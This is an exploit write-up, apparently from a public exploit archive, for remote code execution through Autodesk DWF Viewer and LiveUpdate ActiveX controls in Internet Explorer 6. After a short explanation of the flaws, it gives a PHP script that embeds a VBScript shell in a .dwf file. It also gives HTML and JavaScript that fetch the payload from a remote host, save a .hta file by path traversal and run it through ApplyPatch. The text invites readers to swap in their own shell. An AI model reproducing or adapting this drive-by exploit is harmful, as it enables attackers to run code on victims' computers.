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Autodesk DWF Viewer Control / LiveUpdate Module remote code execution exploit

by Nine:Situations:Group::bruiser 

site: http://retrogod.altervista.org/

tested against IE6



tested software:  Revit Architecture 2009 sp2

                  Autodesk Design Review 2009 (which also comes with Revit)





dll settings (both):

RegKey Safe for Script: True

RegKey Safe for Init: True

Implements IObjectSafety: False

KillBitSet: False



The first vulnerability is caused due to the CExpressViewerControl class 

(AdView.dll v9.0.0.96) which provide the insecure SaveAS() method 

which allows to store locally files with arbitrary extension.

The second one is related to the ApplyPatch() one inside the UpdateEngine

class (LiveUpdate16.DLL, 17.2.56 ??... this is a shared one) which allows to 
launch an arbitrary 

executable by the second argument. Note, that the first one, alone, allows

arbitrary code execution. The impact of the second one is limited if you cannot 

specify command arguments or launch a file of yours.



The embedded dwf file (located at the url 
http://retrogod.altervista.org/suntzu.dwf)

has been created modifying an existing one, replacing a .png resource file with 

a vbscript shell through the following script (note the 
PCLZIP_OPT_NO_COMPRESSION flag,

this has been used to preserve the code, note also the dwg files are

essentially zips) :



<?php

    //library:

    //http://www.phpconcept.net/pclzip/index.en.php#download

    include_once('pclzip.lib.php');



    $archive = new PclZip('suntzu.dwf');

     

    //modify path

    $list = 
$archive->add("com.autodesk.dwf.ePlot_CD186DAA4322089243B140AD3ACE11B7\\A84650EE-74A7-4766-8D0C-CC9EAE8313D3.png",
 PCLZIP_OPT_NO_COMPRESSION);

    

    if ($list == 0) {

      echo "ERROR : ".$archive->errorInfo(true);

    }

?> 



take a look to suntzu.dwf with an hex-editor...

This exploit launch calc.exe but you can embed your own vbscript shell

and extended shell commands, by using the php code given.

-->

<HTML>

<OBJECT CLASSID="clsid:A662DA7E-CCB7-4743-B71A-D817F6D575DF"

WIDTH="640" HEIGHT="480"

id='CExpressViewerControl' >

<PARAM NAME="Src"

VALUE="http://retrogod.altervista.org/suntzu.dwf";>

</OBJECT> 

<OBJECT CLASSID='clsid:89EC7921-729B-4116-A819-DF86A4A5776B' 

id='UpdateEngine' />

</OBJECT>

<script type="text/javascript">

<!-- 

   strPatchFile = "..\\..\\..\\..\\..\\..\\..\\suntzu.hta";



try

{

   CExpressViewerControl.SaveAS (strPatchFile); 

}

catch(e)

{

   document.write("impossible to save suntzu.hta ...");

}

finally

{

}

   strProductCode="whatever" ;



try

{

   UpdateEngine.ApplyPatch (strProductCode , strPatchFile);

}

catch(e)

{

   document.write("impossible to execute suntzu.hta ...");

}

finally

{

}



--> 

</script>





original advisory: 
http://retrogod.altervista.org/9sg_autodesk_revit_arch_2009_exploit.html

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